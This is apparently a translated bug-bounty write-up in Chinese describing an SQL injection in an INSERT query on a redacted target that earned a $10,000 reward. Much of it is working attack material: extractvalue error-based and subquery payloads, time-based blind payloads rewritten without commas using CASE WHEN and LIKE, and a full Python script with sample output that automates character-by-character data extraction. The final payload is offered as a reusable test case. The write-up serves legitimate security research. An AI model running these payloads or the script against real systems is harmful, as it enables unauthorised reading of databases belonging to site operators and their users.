本文分享的是作者在一次衆測中的SQL報錯型注入漏洞發現過程,有趣之處在於,在後續漏洞利用的構造中,如果在目標服務端數據庫邏輯的INSERT查詢中使用逗號(Comma),將導致構造的Payload不可用,這種情況下,作者通過綜合Time-based注入、Case When和Like操作成功實現了SQL注入,漏洞獲得了廠商$10,000美金的獎勵。
漏洞介紹
INSERT查詢或UPDATE型SQL注入漏洞也算是比較常見的了,在任何SQL注入漏洞中,原因都是由於不安全的用戶輸入傳遞給了後端數據查詢。此次測試數據庫中的用戶輸入邏輯大概可以這樣描述:
$email=$_POST['email'];
$name=$_POST['name'];
$review=$_POST['review'];
$query="insert into reviews(review,email,name) values ('$review','$email','$name')";
mysql_query($query,$conn);
依上所看,其對應的請求體應該是這樣的:
review=test review&[email protected]&name=test name
所以,經分析,可能存在以下的INSERT列插入語句:
insert into reviews(review,email,name) values ('test review','[email protected]','test name')
最終,在目標數據庫中形成的結果就是:
MariaDB [dummydb]> insert into reviews(review,email,name) values ('test review','[email protected]','test name');
Query OK, 1 row affected (0.001 sec)
MariaDB [dummydb]> select * from reviews;
+-------------+------------------+-----------+
| review | email | name |
+-------------+------------------+-----------+
| test review | [email protected] | test name |
+-------------+------------------+-----------+
1 row in set (0.000 sec)
綜上所述,在此,我們就有三種方法來對這個數據庫邏輯進行漏洞注入構造。
用extractvalue方法構造的報錯型注入
可以把上述分析中的review、email、name三個列插入值換成:
test review' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1
這種構造情況,會形成一個泄露目標數據庫的SQL報錯注入:
MariaDB [dummydb]> insert into reviews(review,email,name) values ('test review' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1','[email protected]','test name');
ERROR 1105 (HY000): XPATH syntax error: '
dummydb'
使用子查詢 (Subquery)
基於以上報錯型注入,我們可以進一步利用子查詢 (Subquery)方式去讀取數據庫內容,並把它顯示在插入列的內容中。例如,我們把review這個列的值構造爲:
jnk review',(select user()),'dummy name')-- -
那麼,最後的插入查詢語句會是:
insert into reviews(review,email,name) values ('jnk review',(select user()),'dummy name')-- -,'[email protected]','test name');
仔細看,由於其中存在註釋符 –,所以,,’[email protected]’,'test name’); 就會被註釋掉,而其中的(select user())是對當前數據庫用戶的查詢請求,一般會是root@localhost。所以,運行上述插入查詢語句之後,數據庫中review、email、name三列內容就會相應成爲:jnk review、root@localhost、dummy name,非常容易理解。如下:
MariaDB [dummydb]> insert into reviews(review,email,name) values ('jnk review',(select user()),'dummy name');--,'[email protected]','test name');
Query OK, 1 row affected (0.001 sec)
MariaDB [dummydb]> select * from reviews;
+-------------+------------------+------------+
| review | email | name |
+-------------+------------------+------------+
| test review | [email protected] | test name |
| jnk review | root@localhost | dummy name |
+-------------+------------------+------------+
2 rows in set (0.000 sec)
MariaDB [dummydb]>
Time-based的盲注構造
以上的構造Payload只能說明數據庫內部的一個處理邏輯,但在應用端來看不能導致報錯,而且也無法回顯我們的插入語句結果,甚至是根本沒法知道我們的插入語句是否是true 或false的情況,基於此,我們可以對它進行Time-based的盲注構造,結合If語句和substring方法,有以下Payload:
xxx'-(IF((substring((select database()),1,1)) = 'd', sleep(5), 0))-'xxxx
如果查詢語句爲真,那麼其後端數據庫就會休眠5秒後才輸出回顯結果,用這種判斷方式,我們可以來推斷出數據庫中的具體架構方式。具體方法可參考detectify實驗室的 sqli-in-insert-worse-than-select。
綜合分析
有了以上的分析,總體的漏洞利用應該不成問題了,但是,在我當前測試的目標數據庫中,其存在注入漏洞的參數是urls[] 和 methods[],而且它們的值都是用逗號 -“,”進行分隔的,我按照以上分析的Payload構造進行測試後發現,其中的逗號會破壞我們的Payload構造,最終會導致注入利用不成功。
以目標數據庫的以下邏輯來說:
$urls_input=$_POST['urls'];
$urls = explode(",", $urls_input);
print_r($urls);
foreach($urls as $url){
mysql_query("insert into xxxxxx (url,method) values ('$url','method')")
}
如果我們按照之前分析的Payload構造進行測試,我們把其中的urls值替換爲:
xxx'-(IF((substring((select database()),1,1)) = 'd', sleep(5), 0))-'xxxx
那麼由於逗號的存在,目標數據庫後端的運行處理模式就會是:
Array
(
[0] => xxx'-(IF((substring((select database())
[1] => 1
[2] => 1)) = 'd'
[3] => sleep(5)
[4] => 0))-'xxxx
)
所以,由於逗號的分隔作用,這樣的處理也就無法形成我們的注入利用了。
解決方法
所以,這樣來看,我們的Payload中必須不能包含逗號。第一步,我們需要找到一個代替IF條件且能用逗號和其它語句共同作用的方法語句。這裏的話,選用case when比較適合,所以這裏利用它的一個基本用法爲:
MariaDB [dummydb]> select CASE WHEN ((select substring('111',1,1)='1')) THEN (sleep(3)) ELSE 2 END;
+--------------------------------------------------------------------------+
| CASE WHEN ((select substring('111',1,1)='1')) THEN (sleep(3)) ELSE 2 END |
+--------------------------------------------------------------------------+
| 0 |
+--------------------------------------------------------------------------+
1 row in set (3.001 sec)
如果我們構造查詢的語句爲真,那麼,數據庫就會休眠3秒執行輸出。
另外,我們還要找到代替substring的方法,那麼,我們可以用Like操作來實現,比如以下邏輯:
MariaDB [dummydb]> select CASE WHEN ((select database()) like 'd%') THEN (sleep(3)) ELSE 2 END;
+----------------------------------------------------------------------+
| CASE WHEN ((select database()) like 'd%') THEN (sleep(3)) ELSE 2 END |
+----------------------------------------------------------------------+
| 0 |
+----------------------------------------------------------------------+
1 row in set (3.001 sec)
其中的((select database()) like ‘d%’) 意思是,選取出的以 d 開頭的模式字符串,如果這種模式匹配存在,數據庫就會休眠3秒後輸出。
所以,最後的綜合就是把這個查詢和INSERT連接在一起,出於測試保密原則,隱去目標主站,最終的Payload利用鏈接爲:
http://xxxxxxxx/'-(select CASE WHEN ((select database()) like 'd%') THEN (sleep(4)) ELSE 2 END)-'xxx
這種Payload利用中,可以把CASE WHEN和Like操作設置爲對字符串(Char)的暴力破解,所以,最後成型的Payload是這樣的:
urls[]=xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'
漏洞利用
對以上Payload進行手動測試會是一件非常耗時的事,所以,我編寫了以下的Python腳本對它進行一個自動化利用:
import requests
import sys
import time
# xxxxxxxxxexample.com SQLi POC
# Coded by Ahmed Sultan (0x4148)
if len(sys.argv) == 1:
print '''
Usage : python sql.py "QUERY"
Example : python sql.py "(select database)"
'''
sys.exit()
query=sys.argv[1]
print "[*] Obtaining length"
url = "https://xxxxxxxxxexample.com:443/sub"
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate",
"Cookie": 'xxxxxxxxxxxxxxxxxxx',
"Referer": "https://www.xxxxxxxxxexample.com:443/",
"Host": "www.xxxxxxxxxexample.com",
"Connection": "close",
"X-Requested-With":"XMLHttpRequest",
"Content-Type": "application/x-www-form-urlencoded"}
for i in range(1,100):
current_time=time.time()
data={"methods[]": "on-site", "urls[]": "jnkfooo'-cast((select CASE WHEN ((select length("+query+"))="+str(i)+") THEN (sleep(1)) ELSE 2 END) as char)-'"}
response=requests.post(url, headers=headers, data=data).text
response_time=time.time()
time_taken=response_time-current_time
print "Executing jnkfooo'-cast((select CASE WHEN ((select length("+query+"))="+str(i)+") THEN (sleep(1)) ELSE 2 END) as char)-'"+" took "+str(time_taken)
if time_taken > 2:
print "[+] Length of DB query output is : "+str(i)
length=i+1
break
i=i+1
print "[*] obtaining query output\n"
outp=''
#Obtaining query output
charset="abcdefghijklmnopqrstuvwxyz0123456789.ABCDEFGHIJKLMNOPQRSTUVWXYZ_@-."
for i in range(1,length):
for char in charset:
current_time=time.time()
data={"methods[]": "on-site", "urls[]": "jnkfooo'-cast((select CASE WHEN ("+query+" like '"+outp+char+"%') THEN (sleep(1)) ELSE 2 END) as char)-'"}
response=requests.post(url, headers=headers, data=data).text
response_time=time.time()
time_taken=response_time-current_time
print "Executing jnkfooo'-cast((select CASE WHEN ("+query+" like '"+outp+char+"%') THEN (sleep(1)) ELSE 2 END) as char)-' took "+str(time_taken)
if time_taken > 2:
print "Got '"+char+"'"
outp=outp+char
break
i=i+1
print "QUERY output : "+outp
腳本利用示例:
[19:38:36] root:/tmp # python sql7.py '(select "abc")'
[*] Obtaining length
Executing jnkfooo'-cast((select CASE WHEN ((select length((select "abc")))=1) THEN (sleep(1)) ELSE 2 END) as char)-' took 0.538205862045
Executing jnkfooo'-cast((select CASE WHEN ((select length((select "abc")))=2) THEN (sleep(1)) ELSE 2 END) as char)-' took 0.531971931458
Executing jnkfooo'-cast((select CASE WHEN ((select length((select "abc")))=3) THEN (sleep(1)) ELSE 2 END) as char)-' took 5.55048894882
[+] Length of DB query output is : 3
[*] obtaining query output
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'a%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.5701880455
Got 'a'
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'aa%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.635061979294
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'ab%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.61513400078
Got 'b'
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'aba%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.565879821777
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'abb%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.553005933762
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'abc%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.6208281517
Got 'c'
QUERY output : abc
最終,該漏洞獲得目標測試廠商$10,000美金的獎勵:
最終的那個SQL注入測試Payload,可以當成你注入測試時的一個用例:
xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'